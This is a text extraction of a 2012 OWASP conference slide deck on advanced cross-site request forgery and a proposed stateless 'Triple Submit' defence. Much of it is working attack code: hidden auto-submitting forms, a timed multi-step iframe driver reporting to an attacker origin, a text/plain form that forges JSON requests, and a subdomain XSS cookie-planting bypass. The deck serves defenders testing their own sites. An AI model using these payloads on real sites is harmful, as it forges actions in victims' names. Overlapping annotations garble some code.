SlideShare a Scribd company logo
1 of 92
Advanced CSRF
           and
   Stateless Anti-CSRF


@johnwilander at OWASP AppSec Research
                 2012
Frontend developer at
 Svenska Handelsbanken

 Researcher in application
 security
 Co-leader OWASP Sweden


@johnwilander
johnwilander.com (music)
  johnwilander.se (papers
           etc)
Some Quick
CSRF Basics
Cross-Site Request
     Forgery
        Request Fo
                   rgery



 Cro
     ss-
        Sit
            e
Cross-Site Request
     Forgery
             Request Forgery
         Cros
             s-Si
                  te
  Ph
    ish
       ing
What’s on your mind?          What’s on your mind?
                       POST                          POST
What’s on your mind?          What’s on your mind?
I love OWASP!          POST                          POST
What’s on your mind?          What’s on your mind?
I love OWASP!          POST                          POST

John: I love OWASP!
What’s on your mind?          What’s on your mind?
                       POST                          POST
What’s on your mind?          What’s on your mind?
                       POST   I hate OWASP!          POST
What’s on your mind?          What’s on your mind?
                       POST   I hate OWASP!          POST
What’s on your mind?          What’s on your mind?
                       POST   I hate OWASP!          POST

John: I hate OWASP!
What’s on your mind?             What’s on your mind?
                       POST   <form id="target" method="POST"
                               action="https://1-liner.org/form">
John: I hate OWASP!             <input type="text" value="I hate
                                 OWASP!" name="oneLiner"/>
                                <input type="submit"
                                 value="POST"/>
                              </form>

                              <script type="text/javascript">
                                $(document).ready(function() {
                                    $('#form').submit();
                                });
                              </script>
<form id="target" method="POST"
           action="https://1-liner.org/form">
            <input type="text" value="I hate
              OWASP!" name="oneLiner"/>
            <input type="submit"
What’s on your mind?         What’s on your mind?
              value="POST"/>
                     POST
         </form>
John: I hate OWASP!

           <script>
             $(document).ready(function() {
                 $('#target').submit();
             });
           </script>
Multi-Step,
Semi-Blind
  CSRF
What about ”several steps”?



    Step 1                Step 2               Step 3




   State built up i steps, server roundtrip in-between
Step 1   Step 2         Step 3



                                 st
                              ue ll
                          r eq wi
                        ed tep ous
                    rg t s
                   o s
                  F a          re vi
                      l      p
                   to the
                   m iss
Can we forge timed GETs and
POSTs
in a deterministic, non-blind
way?


 Step 1         Step 2     Step 3




            1    2   3 4
csrfMultiDriver.html

  invisible
  iframe

  csrfMulti0.html
csrfMultiDriver.html

  invisible          invisible
  iframe             iframe

   target0.html     csrfMulti1.html




                  Wait
csrfMultiDriver.html

  invisible       invisible          invisible
  iframe          iframe             iframe

   target0.html    target1.html     csrfMulti2.html




                                  Wait
csrfMultiDriver.html

  invisible       invisible       invisible          invisible
  iframe          iframe          iframe             iframe

   target0.html    target1.html    target2.html     csrfMulti3.html




                                                  Wait
csrfMultiDriver.html

  invisible       invisible       invisible       invisible
  iframe          iframe          iframe          iframe

   target0.html    target1.html    target2.html    target3.html
Let's look at
An iframed CSRF
Get
Invisible iframe for timed GET

<!DOCTYPE html>
<html>
<head>
    <script>
        var IFRAME_ID = "0", GET_SRC =
          "http://www.vulnerable.com/some.html?param=1";
    </script>
    <script src="../iframeGetter.js"></script>
</head>
<body onload="IFRAME_GETTER.onLoad()">
Extra easy to CSRF since it's done with HTTP GET.
</body>
</html>




                                              csrfMulti0.ht
The iframed page configures which
    URL to CSRF against via a JavaScript-
<!DOCTYPE html>
    variable.
<html>
<head>
    <script>
        var IFRAME_ID = "0", GET_SRC =
          "http://www.vulnerable.com/some.html?param=1";
    </script>
    <script src="../iframeGetter.js"></script>
</head>
<body onload="IFRAME_GETTER.onLoad()">
Extra easy to CSRF since it's done with HTTP GET.
</body>
</html>




                                              csrfMulti0.ht
<!DOCTYPE html>
<html>
<head>
    <script>
       When the iframe'sGET_SRC = done
        var IFRAME_ID = "0",
                              DOM is
          "http://www.vulnerable.com/some.html?param=1";
       loading IFRAME_GETTER.onload() is
    </script>
       called.
    <script src="../iframeGetter.js"></script>
</head>
<body onload="IFRAME_GETTER.onLoad()">
Extra easy to CSRF since it's done with HTTP GET.
</body>
</html>




                                              csrfMulti0.ht
<!DOCTYPE html>
<html>
<head>
    <script>
        var IFRAME_ID = "0", GET_SRC =
    Let's"http://www.vulnerable.com/some.html?param=1";
           look at
    iframeGetter.js …
    </script>
    <script src="../iframeGetter.js"></script>
</head>
<body onload="IFRAME_GETTER.onLoad()">
Extra easy to CSRF since it's done with HTTP GET.
</body>
</html>




                                             csrfMulti0.ht
var IFRAME_GETTER = {};
IFRAME_GETTER.haveGotten = false;
IFRAME_GETTER.reportAndGet = function() {
    var imgElement;
    if(parent != undefined) {
        parent.postMessage(IFRAME_ID,
                           "https://attackr.se:8444");
    }
    if(!IFRAME_GETTER.haveGotten) {
        imgElement = document.createElement("img");
        imgElement.setAttribute("src", GET_SRC);
        imgElement.setAttribute("height", "0");
        imgElement.setAttribute("width", "0");
        imgElement.setAttribute("onerror",
        "javascript:clearInterval(IFRAME_GETTER.intervalId)");
        document.body.appendChild(imgElement);
        IFRAME_GETTER.haveGotten = true;
    }
};
IFRAME_GETTER.onLoad = function() {
    IFRAME_GETTER.intervalId =
      setInterval(IFRAME_GETTER.reportAndGet, 1000);
};
                                             iframeGetter.js
var IFRAME_GETTER = {};
IFRAME_GETTER.haveGotten = false;
IFRAME_GETTER.reportAndGet = function() {
    var imgElement;
    if(parent != undefined) {
        parent.postMessage(IFRAME_ID,
                           "https://attackr.se:8444");
    }
    if(!IFRAME_GETTER.haveGotten) {
        imgElement = document.createElement("img");
        imgElement.setAttribute("src", GET_SRC);
        imgElement.setAttribute("height", "0");
    IFRAME_GETTER.onload() makes sure
        imgElement.setAttribute("width", "0");
    that the iframe reports back to the
        imgElement.setAttribute("onerror",
        "javascript:clearInterval(IFRAME_GETTER.intervalId)");
    main page once every second.
        document.body.appendChild(imgElement);
        IFRAME_GETTER.haveGotten = true;
    } so called heart beat function.
    A
};
IFRAME_GETTER.onLoad = function() {
    IFRAME_GETTER.intervalId =
      setInterval(IFRAME_GETTER.reportAndGet, 1000);
};
                                             iframeGetter.js
var IFRAME_GETTER = {};
IFRAME_GETTER.haveGotten = false;
IFRAME_GETTER.reportAndGet = function() {
    var imgElement;
    if(parent != undefined) {
        parent.postMessage(IFRAME_ID,
                           "https://attackr.se:8444");
    }
    if(!IFRAME_GETTER.haveGotten) {
       In practice, document.createElement("img");
        imgElement = the heart beats are
       delivered via postMessage between
        imgElement.setAttribute("src", GET_SRC);
        imgElement.setAttribute("height", "0");
       the iframe and the main page.
        imgElement.setAttribute("width", "0");
        imgElement.setAttribute("onerror",
        "javascript:clearInterval(IFRAME_GETTER.intervalId)");
        document.body.appendChild(imgElement);
        IFRAME_GETTER.haveGotten = true;
    }
};
IFRAME_GETTER.onLoad = function() {
    IFRAME_GETTER.intervalId =
      setInterval(IFRAME_GETTER.reportAndGet, 1000);
};
                                             iframeGetter.js
var IFRAME_GETTER = {};
IFRAME_GETTER.haveGotten = false;
IFRAME_GETTER.reportAndGet = function() {
    var imgElement;
    if(parent != undefined) {
       The GET CSRF is"https://attackr.se:8444");
                            executed with an
        parent.postMessage(IFRAME_ID,

    } <img src="vulnerable URL">
    if(!IFRAME_GETTER.haveGotten) {
        imgElement = document.createElement("img");
        imgElement.setAttribute("src", GET_SRC);
        imgElement.setAttribute("height", "0");
        imgElement.setAttribute("width", "0");
        imgElement.setAttribute("onerror",
        "javascript:clearInterval(IFRAME_GETTER.intervalId)");
        document.body.appendChild(imgElement);
        IFRAME_GETTER.haveGotten = true;
    }
};
IFRAME_GETTER.onLoad = function() {
    IFRAME_GETTER.intervalId =
      setInterval(IFRAME_GETTER.reportAndGet, 1000);
};
                                             iframeGetter.js
var IFRAME_GETTER onerror event will fire
            The = {};
IFRAME_GETTER.reportAndGet = function() { does
            since the vulnerable URL
IFRAME_GETTER.haveGotten = false;

            not respond with an image. We
    var imgElement;
    if(parent != undefined) {
            use that event to stop the
        parent.postMessage(IFRAME_ID,
            heart beat function. No heart
                           "https://attackr.se:8444");
    }
            beat means the main page
    if(!IFRAME_GETTER.haveGotten) {
        imgElement = this step is done and
            knows document.createElement("img");
        imgElement.setAttribute("src", GET_SRC);
            can continue opening the next
        imgElement.setAttribute("height", "0");
            iframe.
        imgElement.setAttribute("width", "0");
        imgElement.setAttribute("onerror",
        "javascript:clearInterval(IFRAME_GETTER.intervalId)");
        document.body.appendChild(imgElement);
        IFRAME_GETTER.haveGotten = true;
    }
};
IFRAME_GETTER.onLoad = function() {
    IFRAME_GETTER.intervalId =
      setInterval(IFRAME_GETTER.reportAndGet, 1000);
};
                                             iframeGetter.js
Let's look at
An iframed CSRF
Post
<!DOCTYPE html>
<html>             Invisible iframe for timed
<head>
    <script>
                   POST
        var IFRAME_ID = "1";
    </script>
    <script src="../iframePoster.js"></script>
</head>
<body onload="IFRAME_POSTER.onLoad()">

<form id="target" method="POST"
 action="https://www.vulnerable.com/addBasket.html"
 style="visibility:hidden">
    <input type="text" name="goodsId"
           value="95a0b76bde6b1c76e05e28595fdf5813" />
    <input type="text" name="numberOfItems" value="1" />
    <input type="text" name="country" value="SWE" />
    <input type="text" name="proceed" value="To checkout" />
</form>

</body>
</html>
                                              csrfMulti1.ht
<!DOCTYPE html>
<html>
<head>
    <script>
        var IFRAME_ID = "1";
    </script>
         The vulnerable URL can be
    <script src="../iframePoster.js"></script>
</head>
         found in the form to be
<body onload="IFRAME_POSTER.onLoad()">
          posted.
<form id="target" method="POST"
 action="https://www.vulnerable.com/addBasket.html"
 style="visibility:hidden">
    <input type="text" name="goodsId"
           value="95a0b76bde6b1c76e05e28595fdf5813" />
    <input type="text" name="numberOfItems" value="1" />
    <input type="text" name="country" value="SWE" />
    <input type="text" name="proceed" value="To checkout" />
</form>

</body>
</html>
                                                 csrfMulti1.ht
<!DOCTYPE html>
<html>
<head>
    <script>
       When the iframe's DOM is done
        var IFRAME_ID = "1";
       loading IFRAME_POSTER.onload()
    </script>                                    is
    <script src="../iframePoster.js"></script>
</head>called.
<body onload="IFRAME_POSTER.onLoad()">

<form id="target" method="POST"
 action="https://www.vulnerable.com/addBasket.html"
 style="visibility:hidden">
    <input type="text" name="goodsId"
           value="95a0b76bde6b1c76e05e28595fdf5813" />
    <input type="text" name="numberOfItems" value="1" />
    <input type="text" name="country" value="SWE" />
    <input type="text" name="proceed" value="To checkout" />
</form>

</body>
</html>
                                              csrfMulti1.ht
<!DOCTYPE html>
<html>
<head>
      Let's IFRAME_ID iframePoster.js
    <script>
        var
             look at = "1";
      …
    </script>
    <script src="../iframePoster.js"></script>
</head>
<body onload="IFRAME_POSTER.onLoad()">

<form id="target" method="POST"
 action="https://www.vulnerable.com/addBasket.html"
 style="visibility:hidden">
    <input type="text" name="goodsId"
           value="95a0b76bde6b1c76e05e28595fdf5813" />
    <input type="text" name="numberOfItems" value="1" />
    <input type="text" name="country" value="SWE" />
    <input type="text" name="proceed" value="To checkout" />
</form>

</body>
</html>
                                                 csrfMulti1.ht
var IFRAME_POSTER = {};

IFRAME_POSTER.havePosted = false;

IFRAME_POSTER.reportAndPost = function() {
    if(parent != undefined) {
        parent.postMessage(IFRAME_ID,
                           "https://attackr.se:8444");
    }
    if(!IFRAME_POSTER.havePosted) {
        document.forms['target'].submit();
        IFRAME_POSTER.havePosted = true;
    }
};

IFRAME_POSTER.onLoad = function() {
    setInterval(IFRAME_POSTER.reportAndPost, 1000);
};


                                              iframePoster
var IFRAME_POSTER = {};

IFRAME_POSTER.havePosted = false;

IFRAME_POSTER.reportAndPost = function() {
    if(parent != undefined) {
        parent.postMessage(IFRAME_ID,
                           "https://attackr.se:8444");
    }
    if(!IFRAME_POSTER.havePosted) { makes sure
    IFRAME_POSTER.onload()
    thedocument.forms['target'].submit(); main
         iframe reports back to the
        IFRAME_POSTER.havePosted = true;
    page once every second. Again, a
    }
};
    heart beat function.
IFRAME_POSTER.onLoad = function() {
    setInterval(IFRAME_POSTER.reportAndPost, 1000);
};


                                              iframePoster
var IFRAME_POSTER = {};

IFRAME_POSTER.havePosted = false;

IFRAME_POSTER.reportAndPost = function() {
    if(parent != undefined) {
        parent.postMessage(IFRAME_ID,
                           "https://attackr.se:8444");
    The heart beats stop automatically
    }
    when the POST is done since the
    if(!IFRAME_POSTER.havePosted) {
        document.forms['target'].submit();
    iframe is loaded with thetrue;
        IFRAME_POSTER.havePosted = response
    }
}; from the web server that got the
    POST.
IFRAME_POSTER.onLoad = function() {
    setInterval(IFRAME_POSTER.reportAndPost, 1000);
};


                                              iframePoster
The main page configures the order of
        the CSRF steps, opens iframes and …
var CSRF = function(){
  var hideIFrames = true,
      frames = [
    {id: 0, hasPosted: "no", hasOpenedIFrame: false, src: 'csrfMulti0.html'}
   ,{id: 1, hasPosted: "no", hasOpenedIFrame: false, src: 'csrfMulti1.html'}
                ],
      appendIFrame =
        function(frame) {
           var domNode = '<iframe src="' + frame.src +
                         '" height="600" width="400"' +
                         (hideIFrames ? 'style="visibility: hidden"' : '') +
                         '></iframe>';
           $("body").append(domNode);
        };
…




                                                 csrfMultiDriver.ht
return {                                         … listens on
  checkIFrames : function() {
     var frame;                                  heart beats to
     for (var i = 0; i < frames.length; i++) {
       frame = frames[i];                        time every
                                                 iframe
       if (!frame.hasOpenedIFrame) {
         appendIFrame(frame);
         frame.hasOpenedIFrame = true;
         break; // Only open one iframe at the time
       } else if(frame.hasPosted == "no") {
         frame.hasPosted = "maybe";
         break; // iframe not done posting, wait
       } else if(frame.hasPosted == "maybe") {
         frame.hasPosted = "yes";
         break; // iframe not done posting, wait
       } else if (frame.hasPosted == "yes") {
         continue; // Time to allow for the next iframe to open
       }
     }
  },

  receiveMessage : function(event) {
    if (event.origin == "https://attackr.se:8444") {
      CSRF.frames[parseInt(event.data)].hasPosted = "no";
      // Still on CSRF page so POST not done yet
    }
  }                                              csrfMultiDriver.ht
Demo Multi-Step,
Semi-Blind CSRF
  against amazon.com
 which has protection
      against this.
The intention is to show
 how you can test your
       own sites.
There used to be a
protection in web
       1.5
Forced Browsing
                   wizard-style



Shipment info ✉                   Payment info $




                  Next                             Buy!
Forced Browsing
                   wizard-style



Shipment info ✉                   Payment info $




                         Token


                  Next                             Buy!
Forced Browsing
                   wizard-style



Shipment info ✉                    Payment info $




                         Re-Auth


                  Next                              Buy!
Forced Browsing
          wizard-style




Token 1     Token 2      Token 3
Forced Browsing
                  wizard-style




Token 1               Token 2               Token 3




State built up i steps, server roundtrip in-between
Forced Browsing
          wizard-style




Token 1     Token 2         Token 3



                                 fo rge
                            n’t to
                        uld est
                      Co qu
                        re t step
                           las out a
                            w tith oken
                             va  lid
But in RIAs ...
RIA & client-side
      state
   {
   ”purchase”: {}
   }
RIA & client-side
      state
   {
   ”purchase”: {
     ”items”: [{}]
     }
   }
RIA & client-side
      state
   {
   ”purchase”: {
     ”items”: [{},{}]
     }
   }
RIA & client-side
      state
   {
   ”purchase”: {
     ”items”: [{},{}],
     ”shipment”: {}
     }
   }
RIA & client-side
      state
   {
   ”purchase”: {
     ”items”: [{},{}],
     ”shipment”: {},
     ”payment”: {}
     }
   }
RIA & client-side
      state
   {
   ”purchase”: {
     ”items”: [{},{}],
     ”shipment”: {},
     ”payment”: {}
     }
   }
Can an attacker
forge such a JSON
    structure?
CSRF Against
RESTful Services
CSRF possible?
     {
     ”purchase”: {
       ”items”: [{},{}],
       ”shipment”: {},
       ”payment”: {}
       }
     }
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
         8444/ws/oneliners">



 <input type="text"
  name=””
  value="" />



 <input type="submit" value="Go" />

</form>
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
         8444/ws/oneliners"
 style="visibility:hidden">


 <input type="text"
  name=””
  value="" />



 <input type="submit" value="Go" />

</form>
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
         8444/ws/oneliners"
 style="visibility:hidden"
 enctype="text/plain">

 <input type="text"
  name=””
  value="" />



 <input type="submit" value="Go" />

</form>
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
          8444/ws/oneliners"
 style="visibility:hidden"
 enctype="text/plain">
                Forms produce a request body that
                looks like this:
 <input type="text"
  name=””
                theName=theValue
  value="" />
                 ... and that’s not valid JSON.


 <input type="submit" value="Go" />

</form>
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
         8444/ws/oneliners"
 style="visibility:hidden"
 enctype="text/plain">

 <input type="text"
  name='{"id": 0, "nickName": "John",
         "oneLiner": "I hate OWASP!",
         "timestamp": "20111006"}//'
  value="dummy" />

 <input type="submit" value="Go" />

</form>
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
         8444/ws/oneliners"
 style="visibility:hidden" body that looks
              Produces a request
              like this:
 enctype="text/plain">

 <input type="text" 0, "nickName":
               {"id":
  name='{"id": "John","oneLiner": "I
                  0, "nickName": "John",
               hate OWASP!","timestamp":
         "oneLiner": "I hate OWASP!",
               "20111006"}//=dummy
         "timestamp": "20111006"}//'
  value="dummy" />
               ... and that is acceptable JSON!
 <input type="submit" value="Go" />

</form>
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
         8444/ws/oneliners"
 style="visibility:hidden"
 enctype="text/plain">

 <input type="text"
  name='{"id": 0, "nickName": "John",
         "oneLiner": "I hate OWASP!",
         "timestamp": "20111006",
         "paddingDummy": "'
  value='"}' />

 <input type="submit" value="Go" />
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
         8444/ws/oneliners"
 style="visibility:hidden" body that looks
              Produces a request
              like this:
 enctype="text/plain">

 <input type="text" 0, "nickName":
               {"id":
  name='{"id": "John","oneLiner": "I
                  0, "nickName": "John",
               hate OWASP!","timestamp":
         "oneLiner": "I hate OWASP!",
               "20111006",
         "timestamp": "20111006",
               "paddingDummy": "="}
         "paddingDummy": "'
  value='"}' />
               ... and that is JSON!
 <input type="submit" value="Go" />
Demo CSRF POST
              then

Demo CSRF + XSS

The Browser Exploitation Framework
      http://beefproject.com/
Important in your REST
         API
 • Restrict do CSRF with GETe.g. POST
   Easier to
             HTTP method,


 • Restrict to AJAX if applicable
   X-Requested-With:XMLHttpRequest
   Cross-domain AJAX prohibited by default

 • Restrict media type(s), e.g.
   application/json
   HTML forms only allow URL encoded, multi-
   part and text/plain
Double Submit
  (CSRF Protection)
Double Submit
  (CSRF protection)

     Anti-CSRF value
     as cookie ...

     ... and
     request parameter
Double Submit
  (CSRF protection)




                     cookie ≠
                     request parameter


   Cannot read the
   anti-CSRF cookie to
   include it as parameter
Double Submit
             (CSRF protection)




Anti-CSRF cookie can
be generated client-side
=> no server-side state
Demo Double
  Submit
Are We Fully
Protected Now?
Are We Fully
Protected Now?
   Of course not
The Other
                   Subdomain
https://securish.1-liner.org          https://other.1-liner.org

                                                                  Search




                               Buy!
The Other
                   Subdomain
https://securish.1-liner.org          https://other.1-liner.org

                                         <script>alert('XSS')</script>   Search


                                                       XSS
                                                          OK



                               Buy!
The Other
                   Subdomain
https://securish.1-liner.org            https://other.1-liner.org

                                      <script>                          Search
                                       $.cookie(
                                         "doubleSubmitToken",
                                         "knownValue",
                                         { path: "/",
                                           domain: ".1-liner.org" });
                                      </script>
                               Buy!
Demo Subdomain
XSS Double Submit
     Bypass
I'm proposing some sort of
 Triple Submit
     CSRF Protection
Triple Submit
 (CSRF protection)

    Initial request of
    rich internet app
Triple Submit
 (CSRF protection)


  Random HttpOnly cookie

  Cookie value as
  JavaScript variable
Triple Submit
              (CSRF protection)


               Random HttpOnly cookie

               Cookie value as
               request parameter

Stateful:
Cookie name saved in server session
Stateless:
Server only accepts one such cookie (checks format)
The 3rd Submit
• The server sets an HttpOnly cookie
  with a random name and random
  value

• The server tells the client the value
  of the random cookie, not the name

• The client submits the value of the
  cookie as a request parameter
The 3rd Submit
     • The server sets an httpOnly cookie
response.setHeader("Set-Cookie",
 randomName a random randomValue + ";
       with + "=" + name and random
       value
 HttpOnly; path='/'; domain=.1-liner.org");
      • The server tells the client the name
        and value of the random cookie

      • The Client submits the name and
        value of the cookie as a request
        parameter
The 3rd Submit
     • The server sets an httpOnly cookie
       with a random name and random
       value
<script>
     •
var ANTI_CSRF_TRIPLE the client the name %>;
       The server tells = <%= randomValue
</script> value of the random cookie
       and

     • The Client submits the name and
         value of the cookie as a request
         parameter
The 3rd Submit

• Cookie value as parameter
• The cookie name
• The cookie value
My Demo System is Being
 Released as an OWASP


• https://www.owasp.org/index.php?
  title=OWASP_1-Liner

• https://github.com/johnwilander/
  owasp-1-liner
Thanks!
@johnwilander

More Related Content

What's hot

Dom based xss
Dom based xssDom based xss
Dom based xss
Lê Giáp
 
How LinkedIn changed its security model in order to offer an API
How LinkedIn changed its security model  in order to offer an APIHow LinkedIn changed its security model  in order to offer an API
How LinkedIn changed its security model in order to offer an API
LinkedIn
 
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web ServicesWeb 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
Shreeraj Shah
 
Secure web messaging in HTML5
Secure web messaging in HTML5Secure web messaging in HTML5
Secure web messaging in HTML5
Krishna T
 
HTML5 and the dawn of rich mobile web applications pt 1
HTML5 and the dawn of rich mobile web applications pt 1HTML5 and the dawn of rich mobile web applications pt 1
HTML5 and the dawn of rich mobile web applications pt 1
James Pearce
 

What's hot (20)

Dom based xss
Dom based xssDom based xss
Dom based xss
 
4 andrii kudiurov - web application security 101
4   andrii kudiurov - web application security 1014   andrii kudiurov - web application security 101
4 andrii kudiurov - web application security 101
 
Blind SQL Injection
Blind SQL InjectionBlind SQL Injection
Blind SQL Injection
 
Dom XSS - Encounters of the 3rd Kind (Bishan Singh Kochher)
Dom XSS - Encounters of the 3rd Kind (Bishan Singh Kochher)Dom XSS - Encounters of the 3rd Kind (Bishan Singh Kochher)
Dom XSS - Encounters of the 3rd Kind (Bishan Singh Kochher)
 
Postcards from the post xss world- content exfiltration null
Postcards from the post xss world- content exfiltration nullPostcards from the post xss world- content exfiltration null
Postcards from the post xss world- content exfiltration null
 
JSON SQL Injection and the Lessons Learned
JSON SQL Injection and the Lessons LearnedJSON SQL Injection and the Lessons Learned
JSON SQL Injection and the Lessons Learned
 
How LinkedIn changed its security model in order to offer an API
How LinkedIn changed its security model  in order to offer an APIHow LinkedIn changed its security model  in order to offer an API
How LinkedIn changed its security model in order to offer an API
 
JWT Authentication with AngularJS
JWT Authentication with AngularJSJWT Authentication with AngularJS
JWT Authentication with AngularJS
 
Html5 security
Html5 securityHtml5 security
Html5 security
 
Progressive Enhancement 2.0 (jQuery Conference SF Bay Area 2011)
Progressive Enhancement 2.0 (jQuery Conference SF Bay Area 2011)Progressive Enhancement 2.0 (jQuery Conference SF Bay Area 2011)
Progressive Enhancement 2.0 (jQuery Conference SF Bay Area 2011)
 
Building Secure User Interfaces With JWTs
Building Secure User Interfaces With JWTsBuilding Secure User Interfaces With JWTs
Building Secure User Interfaces With JWTs
 
VSA: The Virtual Scripted Attacker, Brucon 2012
VSA: The Virtual Scripted Attacker, Brucon 2012VSA: The Virtual Scripted Attacker, Brucon 2012
VSA: The Virtual Scripted Attacker, Brucon 2012
 
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web ServicesWeb 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
 
Browser Internals-Same Origin Policy
Browser Internals-Same Origin PolicyBrowser Internals-Same Origin Policy
Browser Internals-Same Origin Policy
 
When Ajax Attacks! Web application security fundamentals
When Ajax Attacks! Web application security fundamentalsWhen Ajax Attacks! Web application security fundamentals
When Ajax Attacks! Web application security fundamentals
 
Secure java script-for-developers
Secure java script-for-developersSecure java script-for-developers
Secure java script-for-developers
 
Secure web messaging in HTML5
Secure web messaging in HTML5Secure web messaging in HTML5
Secure web messaging in HTML5
 
Top 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesTop 10 Web Security Vulnerabilities
Top 10 Web Security Vulnerabilities
 
HTML5 and the dawn of rich mobile web applications pt 1
HTML5 and the dawn of rich mobile web applications pt 1HTML5 and the dawn of rich mobile web applications pt 1
HTML5 and the dawn of rich mobile web applications pt 1
 
OWASP Top 10 - Day 1 - A1 injection attacks
OWASP Top 10 - Day 1 - A1 injection attacksOWASP Top 10 - Day 1 - A1 injection attacks
OWASP Top 10 - Day 1 - A1 injection attacks
 

Similar to Advanced CSRF and Stateless Anti-CSRF

HTML5 APIs - Where no man has gone before! - Altran
HTML5 APIs - Where no man has gone before! - AltranHTML5 APIs - Where no man has gone before! - Altran
HTML5 APIs - Where no man has gone before! - Altran
Robert Nyman
 
Javascript MVC & Backbone Tips & Tricks
Javascript MVC & Backbone Tips & TricksJavascript MVC & Backbone Tips & Tricks
Javascript MVC & Backbone Tips & Tricks
Hjörtur Hilmarsson
 
HTML5 & The Open Web - at Nackademin
HTML5 & The Open Web -  at NackademinHTML5 & The Open Web -  at Nackademin
HTML5 & The Open Web - at Nackademin
Robert Nyman
 

Similar to Advanced CSRF and Stateless Anti-CSRF (20)

PHPUG Presentation
PHPUG PresentationPHPUG Presentation
PHPUG Presentation
 
I Don't Care About Security (And Neither Should You)
I Don't Care About Security (And Neither Should You)I Don't Care About Security (And Neither Should You)
I Don't Care About Security (And Neither Should You)
 
I Don't Care About Security (And Neither Should You)
I Don't Care About Security (And Neither Should You)I Don't Care About Security (And Neither Should You)
I Don't Care About Security (And Neither Should You)
 
Velocity EU 2014 — Offline-first web apps
Velocity EU 2014 — Offline-first web appsVelocity EU 2014 — Offline-first web apps
Velocity EU 2014 — Offline-first web apps
 
ADP- Chapter 3 Implementing Inter-Servlet Communication
ADP- Chapter 3 Implementing Inter-Servlet CommunicationADP- Chapter 3 Implementing Inter-Servlet Communication
ADP- Chapter 3 Implementing Inter-Servlet Communication
 
JavaScript performance patterns
JavaScript performance patternsJavaScript performance patterns
JavaScript performance patterns
 
Guia de Sobrevivência JS no mundo Open Source
Guia de Sobrevivência JS no mundo Open SourceGuia de Sobrevivência JS no mundo Open Source
Guia de Sobrevivência JS no mundo Open Source
 
Even Faster Web Sites at The Ajax Experience
Even Faster Web Sites at The Ajax ExperienceEven Faster Web Sites at The Ajax Experience
Even Faster Web Sites at The Ajax Experience
 
FrontInBahia 2014: 10 dicas de desempenho para apps mobile híbridas
FrontInBahia 2014: 10 dicas de desempenho para apps mobile híbridasFrontInBahia 2014: 10 dicas de desempenho para apps mobile híbridas
FrontInBahia 2014: 10 dicas de desempenho para apps mobile híbridas
 
Summit2014 topic 0066 - 10 enhancements that require 10 lines of code
Summit2014 topic 0066 - 10 enhancements that require 10 lines of codeSummit2014 topic 0066 - 10 enhancements that require 10 lines of code
Summit2014 topic 0066 - 10 enhancements that require 10 lines of code
 
2009 Barcamp Nashville Web Security 101
2009 Barcamp Nashville   Web Security 1012009 Barcamp Nashville   Web Security 101
2009 Barcamp Nashville Web Security 101
 
JavaScript Promise
JavaScript PromiseJavaScript Promise
JavaScript Promise
 
HTML5 APIs - Where no man has gone before! - Altran
HTML5 APIs - Where no man has gone before! - AltranHTML5 APIs - Where no man has gone before! - Altran
HTML5 APIs - Where no man has gone before! - Altran
 
JavaScript Performance Patterns
JavaScript Performance PatternsJavaScript Performance Patterns
JavaScript Performance Patterns
 
[Poland] It's only about frontend
[Poland] It's only about frontend[Poland] It's only about frontend
[Poland] It's only about frontend
 
JavaScript & HTML5 - Brave New World
JavaScript & HTML5 - Brave New WorldJavaScript & HTML5 - Brave New World
JavaScript & HTML5 - Brave New World
 
Javascript MVC & Backbone Tips & Tricks
Javascript MVC & Backbone Tips & TricksJavascript MVC & Backbone Tips & Tricks
Javascript MVC & Backbone Tips & Tricks
 
Mozilla Web Apps - Super-VanJS
Mozilla Web Apps - Super-VanJSMozilla Web Apps - Super-VanJS
Mozilla Web Apps - Super-VanJS
 
Taking your Web App for a walk
Taking your Web App for a walkTaking your Web App for a walk
Taking your Web App for a walk
 
HTML5 & The Open Web - at Nackademin
HTML5 & The Open Web -  at NackademinHTML5 & The Open Web -  at Nackademin
HTML5 & The Open Web - at Nackademin
 

More from johnwilander

Stateless Anti-Csrf
Stateless Anti-CsrfStateless Anti-Csrf
Stateless Anti-Csrf
johnwilander
 

More from johnwilander (10)

JavaScript Beyond jQuery (Jfokus 2013)
JavaScript Beyond jQuery (Jfokus 2013)JavaScript Beyond jQuery (Jfokus 2013)
JavaScript Beyond jQuery (Jfokus 2013)
 
Tre sårbarheter i webbappar
Tre sårbarheter i webbapparTre sårbarheter i webbappar
Tre sårbarheter i webbappar
 
Web Integration Patterns in the Era of HTML5
Web Integration Patterns in the Era of HTML5Web Integration Patterns in the Era of HTML5
Web Integration Patterns in the Era of HTML5
 
Hotlinking is Too Hot for Comfort
Hotlinking is Too Hot for ComfortHotlinking is Too Hot for Comfort
Hotlinking is Too Hot for Comfort
 
Stateless Anti-Csrf
Stateless Anti-CsrfStateless Anti-Csrf
Stateless Anti-Csrf
 
Application Security for Rich Internet Applicationss (Jfokus 2012)
Application Security for Rich Internet Applicationss (Jfokus 2012)Application Security for Rich Internet Applicationss (Jfokus 2012)
Application Security for Rich Internet Applicationss (Jfokus 2012)
 
JavaScript för Javautvecklare
JavaScript för JavautvecklareJavaScript för Javautvecklare
JavaScript för Javautvecklare
 
Application Security, in Six Parts (HackPra 2012)
Application Security, in Six Parts (HackPra 2012)Application Security, in Six Parts (HackPra 2012)
Application Security, in Six Parts (HackPra 2012)
 
RIPE: Runtime Intrusion Prevention Evaluator
RIPE: Runtime Intrusion Prevention EvaluatorRIPE: Runtime Intrusion Prevention Evaluator
RIPE: Runtime Intrusion Prevention Evaluator
 
Application Security for RIAs
Application Security for RIAsApplication Security for RIAs
Application Security for RIAs
 

Recently uploaded

Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
